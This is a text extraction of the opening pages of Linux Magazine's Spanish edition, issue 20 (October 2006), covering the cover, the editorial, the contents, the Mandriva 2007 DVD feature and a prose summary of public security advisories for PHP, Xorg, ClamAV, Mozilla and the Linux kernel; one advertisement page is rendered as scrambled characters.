100
Navegación Segura Antsp2p Realtime Tor y Privoxy Samba 4 JACK Trails RAID Xrmap Superusuarios OP Greenstone Python Plugins Web 2.0 para GIMP p49 Audio con JACK Sonido profesional en el escritorio p68 NÚMERO 20 P.V.P 6,95 Trails Aplicaciones exprés con el Rails para Java p44 WWW.LINUX - MAGAZINE.ES LINUX MAGAZINE NÚMERO 20 Edición en Castellano NAVEGACIÓN SEGURA Cómo evitar que te cacen Phishing: cómo funciona, cómo eludirlo p21 Navegación anónima con Tor y Privoxy p26 P2P secreto con Antsp2p p29 Cold War Un fotógrafo tras el telón de acero p86 Samba 4 La integración total en redes Windows p60 Greenstone Organización de documentos en bibliotecas p34 Free Mandriva Linux 2007 Incluye versiones de 32 y 64 bits Soporte para escritorios 3D Más de 4 GBs de software RAID explicado La mejor tolerancia a fallos al mejor precio p39

Linux Magazine - Edición en Castellano, Nº 20

Embed Size (px)

DESCRIPTION

Puesto a la venta octubre 2006. Tema de Portada: Navegación Segura. DVD: Mandriva 2007

Citation preview

Page 1: Linux Magazine - Edición en Castellano, Nº 20

Na

veg

ac

ión

Se

gu

raA

ntsp

2p R

ea

ltime

Tor y P

rivox

y Sa

mb

a 4 J

AC

K Tra

ils RA

ID X

rma

p S

up

eru

sua

rios O

P G

ree

nsto

ne

PythonPlugins Web 2.0

para GIMP p49

Audio con JACKSonido profesional en el escritorio p68

NÚMERO 20 • P.V.P 6,95 €

TrailsAplicaciones exprés conel Rails para Java p44

W W W . L I N U X - M A G A Z I N E . E S

LIN

UX M

AGAZIN

E

NÚMERO 20

Edición enCastellano

NAVEGACIÓNSEGURA

Cómo evitar que te cacen

Phishing: cómo funciona, cómo eludirlo p21

Navegación anónima con Tor y Privoxy p26

P2P secreto con Antsp2p p29

Cold WarUn fotógrafo tras el telón

de acero p86

Samba 4La integración total en redes

Windows p60

GreenstoneOrganización de documentos en

bibliotecas p34

Free MandrivaLinux 2007

Incluye versionesde 32 y 64 bits

Soporte paraescritorios 3D

Más de 4 GBs desoftware

RAID explicadoLa mejor tolerancia a fallos al mejor precio p39

Page 2: Linux Magazine - Edición en Castellano, Nº 20

8PSMEXJEF�4FSJFT

8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT

-JOVY8PSME�$POGFSFODF���&YQP��o

6USFDIU� 0DUPCFS����o��� ������� XXX�MJOVYXPSMEFYQP�OM

-POEPO� 0DUPCFS����o��� ������� XXX�MJOVYXPSMEFYQP�DP�VL

$PMPHOF� /PWFNCFS����o��� ������� XXX�MJOVYXPSMEFYQP�EF

(VBOH[IPV� /PWFNCFS����o��� ������� XXX�MJOVYXPSMEDIJOB�DPN

/FX�:PSL� 'FCSVBSZ����o��� ������ XXX�MJOVYXPSMEFYQP�DPN

.FYJDP�$JUZ� 'FCSVBSZ����o�.BSDI�� ������� XXX�MJOVYXPSMEFYQP�DPN�NY

5PSPOUP� "QSJM����o�.BZ�� ������� XXX�MXOXFYQP�QMVNDPN�DB

.BESJE� "QSJM ������� XXX�MJOVYXPSMETVNNJU�DPN�FT

+PIBOOFTCVSH� .BZ ������� XXX�MJOVYXPSMEFYQP�DPN�[B

.JMBO� .BZ ������� XXX�MJOVYXPSMETVNNJU�JU

4BP�1BVMP� .BZ ������� XXX�MJOVYXPSMEFYQP�DPN�CS

4FPVM� +VOF ������� XXX�MJOVYXPSMELPSFB�DPN

4BO�'SBODJTDP� "VHVTU���o�� ������� XXX�MJOVYXPSMEFYQP�DPN

4UPDLIPMN� 4FQUFNCFS ������� XXX�MJOVYXPSMETVNNJU�TF

6USFDIU� 0DUPCFS ������� XXX�MJOVYXPSMEFYQP�OM

*/5&3/"5*0/"-�.&%*"�410/403

Page 3: Linux Magazine - Edición en Castellano, Nº 20

Así que nos fuimos a 1985.

Habíamos hecho los deberes

y durante los meses prece-

dentes nos habíamos cardado el pelo,

cosido extensiones a los cuellos de las

camisas y desollado un viejo sofá de

skai rojo que encontramos en el

sótano del laboratorio para hacernos

cazadoras. Nuestro camuflaje era per-

fecto. Para estar preparados

psicológicamente, habíamos descar-

gado todos los LPs de Duran Duran,

aprendido los pasos para resolver el

cubo de Rubik en un tiempo razona-

ble y empollado todas las entregas de

“Karate Kid” . Estábamos listos.

El profesor Brown nos había adver-

tido sobre los peligros que entrañaba

interferir en el pasado, pero tanto Z

como yo coincidimos en privado en

que, si se mira pero no se toca ¿qué

gracia podría tener? Así que cuando a

las 12 del mediodía del 21 de noviem-

bre de 1985 entramos en la cafetería y

vimos al chaval limpiando pantalla

tras pantalla de Pac-Man, creímos

haber encontrado el candidato ideal

para nuestro experimento.

Una discreta entrevista nos reveló

que, el sujeto en cuestión, de nombre

Karl, estudiaba una ingeniería, tenía

acceso a los PCs de su facultad y era

el orgulloso dueño de un Commodore

64. No había duda: era nuestro hom-

bre.

Nuestro razonamiento era que, si

conseguíamos convencer a otro geek,

aparte de RMS, de las bondades del

modelo FLOSS, pues que, bueno,

podríamos incrementar los apóstoles

del movimiento en un 100% de un

solo golpe. Convencimos a Karl de

que nos acompañara a nuestro crono-

puerto (camuflado en un Delorean

DMC12 modificado). Pensamos que si

devolvíamos al sujeto al mismo lugar

unos momentos después de nuestra

partida de 1985, no se podría

considerar secuestro.

Si el experimento tenía

éxito, reclutaríamos a más y

más geeks de la época con el

fin de que el movimiento tuviera una

comunidad incluso antes de su popu-

larización, dándonos unos años de

ventaja sobre otros modelos de

desarrollo. Elegimos los años ochenta

por ser la década en la que se empezó

a popularizar la informática domés-

tica y en la que creíamos que habría

un caldo de cultivo apropiado donde

atrapar espécimenes con la mentali-

dad apropiada para nuestros fines.

Qué equivocados estábamos.

Nuestro primer chasco fue, ya de

vuelta en el 2006, al notar la cara de

nerviosa anticipación y el cuidado

con el que se abrochaba el cinturón

de seguridad cuando nos disponíamos

a trasladar al sujeto desde el edificio

de Investigaciones Metadimensiona-

les al Centro de Cálculo de la

Universidad.

”¿Qué te pasa?” Le preguntó Z.

“Me estoy preparando para el des-

pegue” dijo, con los labios fruncidos.

Su decepción fue patente cuando mi

Fiat Tipo salió rodando del aparca-

miento sin levantar el vuelo.

A los pocos minutos de viaje, su

cara de preocupación no le había

abandonado.

”¿Estás bien?” dije, examinándole

por el retrovisor.

“Sí, claro. Pero ¿porqué nadie lleva

su uniforme?” inquirió, examinando a

los numerosos alumnos que paseaban

por el campus a esas horas.

Z fue más rápido que yo. “Día de

lavandería” aseveró.

”¡Ah!”, pero Karl no parecía con-

vencido.

Una vez en el centro, nos sentamos

con él delante de una máquina

dispuesto a iniciarle en las maravillas

de Linux. Representamos para él toda

la función: instalación,

configuración, manejo. Elegimos una

distro agnóstica para que no tuviera

una predilección por distribuciones

comerciales cuando éstas surgieran

en su línea temporal.

La pantalla TFT y el ratón óptico

parece que le impresionaron, pero la

desilusión le llegó pronto cuando se

dio cuenta de que tenía que teclear en

vez de simplemente enunciar instruc-

ciones en voz alta. Notamos que le

perdíamos definitivamente cuando

nos pusimos a configurar con cat, less

y vi. “Esto es tan 1970”, suspiró en

un momento dado.

Nos habíamos equivocado. En vez

de enseñarle la esencia de Linux,

debimos habernos centrado en repro-

ducción de DVDs, Linux en PDAs y

móviles y escritorios con XGL. Pero

ya era tarde. Cada minuto que Karl

pasaba en nuestra época nos ponía

más y más en peligro de que alguien

lo descubriera.

De vuelta en el cronopuerto y justo

antes de partir, Karl se giró hacia no-

sotros y con una expresión atribulada

nos dijo: “Pero, una cosa, ¿es que no

habéis oído hablar de algo nuevo, una

cosa llamada… Windows?”

3

EDITORIAL

3Número 20W W W . L I N U X - M A G A Z I N E . E S

Estimado Lector de Linux Magazine

Nos sentimos orgullosos de nuestrosorígenes como publicación, que seremonta a los primero días de larevolución Linux. Nuestra revistahermana, la publicación alemanaLinux Magazine, fundada en 1994, fuela primera revista dedicada a Linux enEuropa. Desde aquellas tempranasfechas hasta hoy, nuestra red yexperiencia han crecido y se hanexpandido a la par que la comunidadLinux a lo ancho y largo del mundo.Como lector de Linux Magazine, teunes a una red de informacióndedicada a la distribución delconocimiento y experiencia técnica.No nos limitamos a informar sobre elmovimiento Linux y de Software Libre,sino que somos parte integral de él.

DÓNDE NOSEQUIVOCAMOS

Paul C. Brown

Director

Page 4: Linux Magazine - Edición en Castellano, Nº 20

4 Número 20

CONTENIDOS • Linux Magazine nº 20

W W W . L I N U X - M A G A Z I N E . E S

33 Libros

O’Reilly se caracteriza por ser una edito-

rial que, además de publicar libros con-

vencionales sobre tecnología y en espe-

cial sobre informática, gusta de romper

moldes y tomar riesgos en cuanto a for-

matos y contenidos. Esto, como vere-

mos, puede ser bueno y puede ser malo.

34 Greenstone

Greenstone es un conjunto de herramientas

que pueden ser usadas para la construcción

de nuestras propias bibliotecas digitales de

manera rápida y flexible.

39 RAID Explicado

Linux ofrece varias opciones para con-

seguir la promesa RAID de accesos rápi-

dos al disco duro y de seguridad de

datos.

42 Linkchecker

Si se busca una forma rápida de cazar

enlaces de un sitio Web que no llevan a

ninguna parte, entonces hay que probar

Linkchecker.

44 Trails: Rails para Java

Vamos a crear aplicaciones Java en una

fracción del tiempo normal de desarrollo

con el potente (y libre) entorno de tra-

bajo Trails.

49 Python: Plugins GIMP

La moda rige el diseño, y la moda ahora

mismo es que todas las cajas de texto en

la Web tengan las esquinas redondea-

das. Python puede ayudarnos a simplifi-

car esta tarea.

54 Perl: Nagios

Podemos crear un plugin en Perl para

aprovechar la potencia de la herra-

mienta de monitorización Nagios.

59 Charly: Cancerbero

Cuando los puertos de un equipo empie-

zan a abrirse y cerrarse como ventanas

lanzadas al viento, es hora de que los

administradores presten atención.

17 Especial Navegación Segura

¿Sabes lo suficiente para navegar a salvo

de bucaneros y maleantes? Este mes os

mostramos cómo mantenerse alejado de

todo tipo de trampas.

21 Phishing y Pharming

Los pharmers y los phishers van tras

nuestra valiosísima información

financiera. Mostramos cómo proteger

nuestros intereses.

26 Privoxy y Tor

La dirección IP del usuario permite a las

empresas recopilar información para

elaborar un perfil de sus actividades en

Internet. Tor y Privoxy pueden ayudarle

a proteger su privacidad.

29 Antsp2p

Compartir archivos es el pasatiempo

favorito de muchos usuarios de Internet.

Las aplicaciones convencionales para

compartir archivos no son anónimas. El

proyecto Antsp2p cambia esto.

DESARROLLO

LINUX MAGAZINE

3 Editorial

6 DVD Linux Magazine

8 Inseguridades

10 Noticias Kernel

12 Productos

14 Correo

94 Eventos

94 Información de Contacto

95 Subscripciones

97 Linux Local

98 Próximo Número

EVALUACIÓN

PRÁCTICO

PORTADA

ADMINISTRACIÓN

Page 5: Linux Magazine - Edición en Castellano, Nº 20

5Número 20W W W . L I N U X - M A G A Z I N E . E S

79 Trabajo en Equi/PO

En la primera entrega de esta serie

hemos hablado de la tecnología gettext;

ahora es el momento de resumir sus

ventajas pero también de señalar sus

defectos. Qué triste sería el artículo si

no pudiéramos hablar también de las

soluciones, de las alternativas...

84 Línea de comandos: rsync

Rsync permite sincronizar datos tanto

en un ordenador local como en uno

remoto. Incluso puede ser usado con

SSH para la encriptación de datos. Des-

cubre cómo funciona.

86 Juegos: Cold War

El género del sigilo se estrena en nuestra

plataforma Linux y lo hace realmente a

lo grande con el fotógrafo surgido del

frio, Matt Carter en Cold War.

88 Konsultorio

Si tienes algún problema de

configuración, o simplemente quieres

conocer mejor cómo funciona Linux,

Klaus Knopper, el creador de Knoppix,

te ayuda. Este mes: cuelgues, ratones

USB e impresoras.

91 Opinión

Jose María Lancho, abogado de Legal-

venture, nos advierte de los peligros y

tretas de los lobbies pro-patentes.

COMUNIDAD

MÁS DETALLES EN LA Pág 6

60 Samba 4

A finales de enero se publicó una ver-

sión técnica previa de Samba 4. Vamos a

echarle un vistazo a lo que nos trae esta

nueva versión del servidor de ficheros

Samba.

64 Superusuario con OP

La herramienta OP es una alternativa a

sudo poco conocida, con el beneficio

añadido de simplificar la configuración,

que presenta una solución más intuitiva

para ejecutar comandos con (algunos)

privilegios de root.

68 Audio con JACK

El servidor de audio JACK ofrece una

alternativa profesional para el sonido del

escritorio Linux.

74 Desktopía: Xrmap

Si deseas llegar a convertirte en un

experto en geografía mundial ayúdate

con la CIA.

76 Banshee

En la mitología celta, las llamadas de

duelo del Banshee se oyen cuando un

miembro de la familia está próximo a

morir. La herramienta Banshee de Linux

también hace ruido, pero afortunada-

mente mucho más alegre. Este otro

Banshee te ayuda a organizar (y repro-

ducir) tu colección de música.

LINUX USER

LINUX USERADMINISTRACIÓN � Free Mandriva Linux 2007

� 4,4 GB de software

� Versiones de 32 y 64 bits

� Instalación asistida

� Escritorios avanzados: efectos

3D y transparencias

� Preparado para Web 2.0

� Blogging, podcasting y admi-

nistración de contenidos

� Free Mandriva Linux 2007

� 4,4 GB de software

� Versiones de 32 y 64 bits

� Instalación asistida

� Escritorios avanzados: efectos

3D y transparencias

� Preparado para Web 2.0

� Blogging, podcasting y admi-

nistración de contenidos

Page 6: Linux Magazine - Edición en Castellano, Nº 20

… Y en el DVD de Linux Magazine

MANDRIVA 2007

DVD LINUX MAGAZINE

6 Número 20 W W W . L I N U X - M A G A Z I N E . E S

sistema (harddrake 10.4.65, rpmdrake 3.1.1 y

userdrake 1.2.4), tenemos a nuestra disposi-

ción software típico de Mandriva, pero que no

suele encontrarse en los DVDs de otras distros,

como por ejemplo, el configurador de firewalls

basado en IP Tables, Shorewall (versión 3.2.3)

o el excelente software para la creación de

música, Rosegarden (versión 4-1.2.3).

Asimismo, el DVD de Linux Magazine

incluye las versiones tanto de 32 como de 64

bits de este sistema operativo, haciendo más

sencilla la instalación de Mandriva en máqui-

nas de ambas arquitecturas.

Preparado para 3DUna de las mayores novedades de Mandriva

2007 es que es la primera distro que incluye de

serie muchas de las novedades que se conver-

tirán (imaginamos) en habituales en los

escritorios del futuro. Mandriva incluye

Mandriva, la distribución conocida

anteriormente como Mandrake, es

una de las distros de solera, una dis-

tro de cuando sólo había un puñado y, en

palabras de su fundador Gael Duval, “Slack-

ware venía en 50 diskettes”.

La primera versión de Mandrake apareció

en junio de 1998 y respondía a la idea de

Duval de crear una distro que “tuviera el

potencial de ser una alternativa a Windows,

incluso de ser un sustituto completo de Win-

dows”. De hecho, su objetivo siempre fue

crear una que fuese incluso más fácil de utili-

zar que Windows.

Esta filosofía llevó a los artífices del enton-

ces Mandrake a la creación de un centro de

control que permitía administrar el sistema a

través de múltiples asistentes y que pudiera

controlar desde la instalación de software

hasta la configuración de un escáner en red.

A pesar de las facilidades que Mandriva

ponía a disposición del usuario, nunca se

sacrificaron ni la flexibilidad ni la potencia del

sistema, siendo un SO que funciona igual-

mente bien como sistema de escritorio, como

servidor o como filtro de seguridad, existiendo

versiones específicas para cada usuario y cada

entorno.

El softwareMandriva tiene una activa comunidad de

usuarios, lo que le asegura una ingente canti-

dad de software. En la versión que nos ocupa,

Mandriva Linux Free 2007, aparte de venir

con las versiones más recientes de las aplica-

ciones a los que nos tienen acostumbrados las

distros mayoritarias (OpenOffice 2.0.3, Gimp

2.3.10, Kaffeine 0.8.1 y Firefox 1.5.0.6) y los

asistentes que facilitan la administración del

soporte para escritorios 3D, renderizado alea-

torio de widgets (lo que permite, por ejemplo,

que las ventanas ondeen al moverlas) y verda-

deras transparencias.

Hay que advertir, sin embargo, que estas

características tienen su lado negativo: suelen

ser muy glotonas con los recursos del sistema

y sólo funcionan de manera ágil con máqui-

nas que dispongan de potentes tarjetas

gráficas (ver cuadro Requisitos del sistema).

Instálalo YaMandriva es una de las distros más populares

en todo el mundo. Su solidez, facilidad de uso

y flexibilidad garantizan una experiencia de

usuario sobresaliente a quienes la utilizan.

Tanto si se requiere un completo sistema ofi-

mático, como un firewall o un servidor web, el

DVD de Mandriva le proporciona todo lo que

necesita. Pruébelo ya.

CPU: Cualquier procesador Pentium y

AMD, i586 o superior

RAM: 256 MB mínimo, 512 recomendado

Espacio en disco: 2 GB mínimo, 4 GB

recomendado

Tarjeta gráfica: NVIDIA (soporta SLI),

ATI, Intel i8xx y i9xx, SIS, Matrox, VIA. El

escritorio 3D requiere NVIDIA GeForce o

superior, ATI Radeon 7000 o superior, o

Intel i830 a i945.

Serial ATA: La mayoría de los controla-

dores soportados en modo no-RAID y

algunos en modo RAID.

Requisitos del Sistema

Es práctica común, tarde o temprano, que el usuario habitual de cualquier distro no encuentre

en su DVD el paquete que necesita. ¿Qué hacer? Acudir a los repositorios en Internet.

Pero en vez de bajarse el paquete directamente al disco duro e instalar, lo más inteligente es

dejar que urpmi, el programa encargado de instalar y configurar los programas, haga el tra-

bajo sucio.

Para ello hemos de configurar urpmi para que, no sólo busque paquetes en el disco duro, sino

que también los busque en los repositorios FTP distribuidos a lo largo y ancho del globo.

Esto se puede hacer de diversas maneras, pero la más sencilla es a través de la línea de

comandos con EasyUrpmi. A pesar de lo que pudiera parecer, EasyUrpmi no es una aplicación

instalada en nuestra máquina, sino un servicio web y, para utilizarlo, no hay más que acercarse

a la página http://easyurpmi.zarb.org/, escoger la versión, la arquitectura de nuestro ordenador,

y el tipo de asistente de instalación (urpmi o smart, aunque recomendamos urpmi) de las listas

desplegables.

A continuación pulsamos en “Proceed to step 2” (Proceder a paso 2) para seleccionar la locali-

zación geográfica del lugar del que vamos a descargar los paquetes. Se recomienda, en aras

de la rapidez, seleccionar un servidor “cerca de casa”. Por ejemplo, hay un servidor

(ftp.cica.es) localizado en Sevilla, que es ideal para los usuarios españoles.

Una vez seleccionados los servidores para cada uno de los repositorios, pulsamos en

“Proceed to step 3”.

En este paso, EasyUrpmi proporciona los comandos que hemos de introducir (como root) en

la línea de comandos para actualizar la lista de repositorios. Como estas instrucciones son un

poco largas y pueden teclearse incorrectamente, lo suyo es copiarlas al porta-papeles para

luego pegarlas en un terminal.

• Seleccionamos el texto que nos muestra EasyUrpmi y pulsamos [Ctrl]+[C].

• Abrimos una consola (por ejemplo konsole) y nos hacemos root con su.

• Pulsamos [Ctrl]+[Shift]+[Ins] para pegar el texto en la línea de comandos.

• Comienza el proceso de descarga de listas de paquetes. Al ser bastante voluminoso, puede

tardar un rato. Puede que necesite pulsar [Enter] al finalizar para validar la última entrada

que nos ofrece EasyUrpmi.

• Salimos del modo root escribiendo exit.

La próxima vez que arranquemos nuestro asistente de instalación de software comprobare-

mos que el número de paquetes disponibles ha aumentado sensiblemente.

Más software

Page 7: Linux Magazine - Edición en Castellano, Nº 20

DVD LINUX MAGAZINE

7Número 20W W W . L I N U X - M A G A Z I N E . E S

SOFTWARESistema

• Kernel 2.6.17

• GCC 4.1.1

• Xorg 7.1.0

Escritorios

• KDE 3.5.4

• Gnome 2.16

Ofimática e Internet

• OpenOffice 2.0.3

• Koffice 1.5.90

• Firefox 1.5.0.6

• Thunderbird 1.5.0.5

• Kmail 3.5.4

• Evolution 2.8.0

• Gaim 2.0.0

Multimedia y gráficos

• Gimp 2.3.10

• Kaffeine 0.8.1

• K3b 0.12.17

• Rythmbox 0.9.5

3D

• Xgl 0.0.1

Como viene siendo habitual en este extraño mundo de absurdas legalidades y licencias truculentas, las distros comerciales no pueden

ofrecer todo el software disponible por miedo a incurrir en infracciones de triviales patentes o de violar alguna retorcida ley diseñada

para favorecer a cierta manipuladora oligarquía.

El tipo de software excluido por mandato judicial incluye cosas tan pedestres como librerías que decodifican DVDs (comprados legal-

mente) para su visionado o programas que permiten la transferencia de ficheros entre pares, aunque dichos ficheros sean las fotos de las

vacaciones.

Como usuarios, podemos elegir el software que nos instalemos, y otros usuarios, como no puede ser de otra manera en una comunidad

donde una de las premisas es ayudarse mutuamente, nos lo pone fácil. Para Mandriva existe la Penguin Liberation Front (http://plf.zarb.

org/) un grupo de voluntarios que se dedican a empaquetar y poner en sus servidores los paquetes prohibidos a Mandriva por las corpo-

raciones que pretenden controlar nuestros derechos. Es un sitio que vale la pena visitar.

… Y más software

Figura 2: Mandriva posee un menú para las aplicaciones muy

elaborado e intuitivo.

Figura 1: El completo panel de Mandriva nos muestra todas las

opciones de configuración disponibles.

Page 8: Linux Magazine - Edición en Castellano, Nº 20

INSEGURIDADES

Schlagwort sollte hier stehenLINUX USERINSEGURIDADES

� PHPPHP es un lenguaje de scripting embebido

en HTML usado frecuentemente con el ser-

vidor Web HTTP de Apache.

La función phpinfo() de PHP no sanitiza

adecuadamente las cadenas largas. Un ata-

cante podría usar esto para llevar a cabo

ataques de scripting multisitio contra sitios

que tienen scripts PHP disponibles pública-

mente y que llaman phpinfo().

(CVE-2006-0996).

Se ha encontrado que la función PHP

html_entity_decode() no es segura a nivel

binario. Un atacante podría usar este fallo

para revelar una parte de la memoria del

servidor atacado. Con objeto de que este

problema sea explotable, el sitio de destino

necesitaría tener un script PHP que llamara

a la función html_entity_decode() con una

entrada que no filtrase por confianza del

usuario y presentara los resultados. (CVE-

2006-1490).

Se ha encontrado que la salida de error

de PHP no escapa correctamente HTML en

algunos casos. Un atacante podría usar este

fallo para realizar ataques de scripting

multisitio contra sitios donde están

habilitados tanto display_errors como

html_errors. (CVE-2006-0208).

Se ha encontrado un error en la valida-

ción de la entrada en la función

“mb_send_mail()”. Un atacante podría usar

este fallo para inyectar cabeceras arbitrarias

en un correo enviado vía script llamando a

la función “mb_send_mail()” donde el

parámetro “To” puede ser controlado por el

atacante. (CVE-2005-3883).

Se descubrió un fallo de desbordamiento

de búfer en uw_imap, el Servidor IMAP de

la Universidad de Washington. php-imap

está compilado contra las librerías de c-

client estáticas desde imap y además

necesita ser recompilada contra la versión

fijada. �

Referencia Gentoo:GLSA-200605-08

Referencia Mandriva:MDKSA-2006:074

Referencia Red Hat: RHSA-2006:0276-9

Referencia Suse: SUSE-SA:2006:024

� Xorg-X11Xorg es una implementación de código

abierto de un sistema X Window. Propor-

ciona la funcionalidad de bajo nivel básica

de las que hacen uso interfaces de usuario

gráficas como GNOME y KDE.

Se ha descubierto un fallo de desborda-

miento de búfer en la extensión RENDER

del servidor Xorg. Un cliente autorizado

malicioso podría explotar este problema y

causar una denegación de servicio (colgar

el sistema) o ejecutar código arbitrario

potencialmente con privilegios de super-

usuario en el servidor Xorg.

(CVE-2006_1526). �

Referencia Gentoo: GLSA-200605-02

Referencia Mandriva:MDKSA-2006:081

Referencia Red Hat: RHSA-2006:0451-9

Referencia Slackware: SSA:2006-123-01

Referencia Suse: SUSE-SA:2006:023

� ClamAVClamAV es un escáner de virus con licencia

GPL.

ClamAV contiene vulnerabilidades de

formato código de registro (CVE-2006-1615).

8 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Distribuidor Fuente Seguridad ComentarioDebian Info:http://www.debian.org/security/ Los avisos de seguridad actuales se in-

Lista:http://www.debian.org/debian-security-announce/ cluyen en la página de inicio. Los avisos

Referencia:DSA-…1) se proveen como páginas HTML con

enlaces a los parches. Los avisos también

incluyen una referencia a la lista de

correo.

Gentoo Info:http://www.gentoo.org/security/en/index.xml Los avisos de seguridad actuales para

Foro:http://forums.gentoo.org/ la lista Gentoo en el sitio web de

Lista:http://www.gentoo.org/main/en/lists.xml seguridad de Gentoo enlazan desde la

Referencia:GLSA:… 1) página principal. Los avisos se presentan

en HTML con códigos para fusionar las

versiones corregidas.

Mandrake Info:http://www.mandrakesecure.net Mandrakesoft posee su propios sitio web

Lista:http://www.mandrakesecure.net/en/mlist.php que versa sobre temas relacionados con

Referencia:MDKSA:… 1) la seguridad.Entre otras cosas,incluye

avisos seguridad y referencias a las

listas de correo.Los avisos son páginas

HTML,pero no contienen enlaces a los

parches.

Red Hat Info:http://www.redhat.com/errata/ Red Hat archiva los fallos de seguridad

Lista:http://www.redhat.com/mailman/listinfo/ bajo lo que denominan erratas.A

Referencia:RHSA-… 1) continuación los problemas para cada

versión de Red Hat se agrupan.Los avisos

de seguridad se proveen como una

página HTML con enlaces a los parches.

Slackware Info:http://www.slackware.com/security La página de inicio contiene enlaces al

Lista:http://www.slackware.com/lists/(slackware-security) archivo de seguridad de la lista de correo.

Referencia: [slackware-security]… 1) No existe información adicional sobre

seguridad en Slackware.

Suse Info:http://www.suse.de/en/private/support/ Ya no existe un enlace a la página de

security/index.html seguridad tras un remodelado en el sitio

Parches:http://www.suse.de/en/private/ web de SuSE.Existe información en la

download/updates Lista:suse-security-announce lista de correos y los avisos. Los parches de

Referencia:SUSE-SA… 1) seguridad para versiones individuales de

SuSE Linux se muestran de color rojo en el

sitio de actualizaciones generales.

Contiene una corta descripción de la

vulnerabilidad que soluciona el parche.1) Todos los distribuidores muestran correos de seguridad en el campo Subject.

POLITICAS DE SEGURIDAD DE LAS DISTRIBUCIONES MAYORITARIAS

Page 9: Linux Magazine - Edición en Castellano, Nº 20

INSEGURIDADES

Han sido encontrados algunos erro-

res en la manera en la que Mozilla

procesa ciertos fragmentos de javas-

cript. Una página web maliciosa

podría ejecutar instrucciones javas-

cript arbitrarias con los permisos de

“chrome”, permitiendo que la página

robe información sensible o instale

software dañino. (CVE-2006-1727,

CVE-2006-1728, CVE-2006-1733, CVE-

2006-1734, CVE-2006-1735,

CVE-2006-1742).

Se han encontrado algunos fallos en

la manera en la que Mozilla procesa

páginas web malformadas. Un ata-

cante, con una página web

maliciosamnete manipulada, podría

causar la ejecución de código arbitra-

rio con los privilegios del usuario

ejecutando Mozilla. (CVE_2006-0748,

CVE_2006-0749, CVE_2006-1730, CVE-

2006-1737, CVE_2006-1738,

CVE-2006-1739, CVE-2006-1790).

Se ha encontrado un error en la

manera en la que Mozilla presenta el

icono del sitio seguro. Si un navegador

se configura para presentar por

defecto el diálogo de aviso modal de

sitio seguro, puede ser posible engañar

al usuario haciéndole creer que está

viendo un sitio seguro. (CVE-2006-

1740).

Se ha encontrado un fallo en la

manera en la que Mozilla permite

eventos de mutación javascript en ele-

mentos de entrada de formularios. Se

podría crear una página web maliciosa

de tal modo que cuando un usuario

presenta una formulario, un fichero

arbitrario podría ser cargado por el

atacante. (CVE_2006-1729).

Se ha encontrado un fallo en la

manera en la que Mozilla ejecuta el re-

envío de correo en línea. Si un

atacante puede inducir a un usuario a

que mande en línea un mensaje de

correo maliciosamente manipulado, es

posible que el mensaje ejecute javas-

cript con los permisos de “chrome”.

(VCVE_2006-0884). �

Referencia Debian: DSA-1046-1

Referencia Gentoo: GLSA-200605-09

Referencia Mandriva: MDKSA-2006:075,

MDKSA-2006:078

Referencia Red Hat: RHSA-2006:0328-15,

RHSA-2006:0329-13, RHSA-2006:0330-15

Referencia Slackware: SSA:2006-120-01

Referencia Suse: SUSE-SA:2006:021,

SUSE-SA:2006:022

� Kernel Linux

El kernel Linux maneja las funciones

básicas del sistema operativo. Informes

recientes han puesto de manifiesto los

siguientes problemas:

• Un fallo en la implementación IPv6

permite a un usuario local causar una

denegación de servicio (bucles infini-

tos y cuelgues) (CVE-2005-2973,

importante)

• un fallo en la implementación puente

permite a un usuario remoto causar el

envío de paquetes spoof a través

envenenamiento de la tabla de envío

con frames caídos previamente. (CVE-

2005-3272, moderado)

• un fallo en el módulo atm permite a

un usuario local causar una denega-

ción de servicio (pánico) a través

ciertas llamadas a socket (CVE-2005-

3359, importante)

• un fallo en la implementación del

cliente NFS permite a un usuario local

causar una denegación de servicio

(pánico) a través de escrituras O-

DIRECT (CVE-2006-0555, importante)

• una diferencia en la operación

“sysretq” de los procesadores EM64T

(a diferencia de lo que ocurre en los

Opteron) permite a un usuario local

causar una denegación de servicio (el

sistema se cae) con el retorno de cier-

tas llamadas del sistema

(CVE-2006-0741 y CVE-2006-0744,

importante)

• un fallo en la implementación keyring

permite a un usuario local causar una

denegación de servicio (OOPS) (CVE-

2006-1522, importante)

• un fallo en la implementación enru-

tado IP permite a un usuario local

causar una denegación de servicio

(pánico) a través de una petición para

una ruta para una IP multicast (CVE-

2006-1525, importante)

• un fallo en la implementación SCTP-

netfilter permite a un usuario remoto

causar una denegación de servicio

(bucle infinito) (CVE-2006-1527,

importante)

• un fallo en el driver sg permite a un

usuario local causar una denegación

de servicio (el sistema se culega) a

través una transferencia dio a espacio

E/S de memoria mapeada (nmap)

(CVE-2006-1528, importante) �

Referencia Red Hat: RHSA-2006:0493-6

Además, Damian Put descubrió un desbor-

damiento de número entero en el

analizador cabeceras de PE de ClamAV

(CVE-2006-1614) y David Luyer descubrió

que ClamAV puede ser inducido fraudulen-

tamente a que lleve a cabo un acceso de

memoria inválido. (CVE-2006-1630).

Mediante el envío por correo de un

adjunto malicioso a un servidor de correo

ejecutando ClamAV, un atacante remoto

podría causar una Denegación de Servicio

o la ejecución de código arbitrario. Obsér-

vese que el desbordamiento en el

analizador del encabezamiento PE sola-

mente es explotable cuando se encuentra

deshabiliatda la opción Archive-MaxFile-

Size.

Ulf Härnhammar y un investigador anó-

nimo alemán descubrieron una

vulnerabilidad en el código del protocolo

de freshclam, una utilidad de la línea de

comandos responsable de la descarga e ins-

talación de las actualizaciones de las firmas

de virus para ClamAV. Esto podría llevar a

una denegación de servicio o potencial-

mente a la ejecución de código arbitrario. �

Referencia Debian: DSA-1050-1

Referencia Gentoo: GLSA 200604-06, GLSA

200605-03

Referencia Mandriva:MDKSA-2006:080

Referencia Suse: SUSE-SA:2006:020

� Mozilla, Firefox yThunderbirdMozilla es un navegador web de código

abierto, cliente de correo, cliente de

grupos de noticias, cliente de chat IRC

y editor HTML. Mozilla Firefox es un

navegador web de código abierto.

Mozilla Thunderbird es un cliente de

correo electrónico y de grupos de noti-

cias independiente.

Los expertos han encontrado varios

problemas de seguridad relacionados

con la suite de Mozilla. Estos proble-

mas también se aplican a herramientas

tales como al navegador Firefox y al

cliente de correo Thunderbird, basados

ambos en Mozilla.

Se han encontrado algunos fallos en

la manera en la que Mozilla procesa

código javascript malformado. Una

página web maliciosa podría modificar

el contenido de una página web

abierta diferente, posiblemente

robando información sensible o ini-

ciando un ataque de scripting

multisitio. (CVE-2006-1731, CVE-2006-

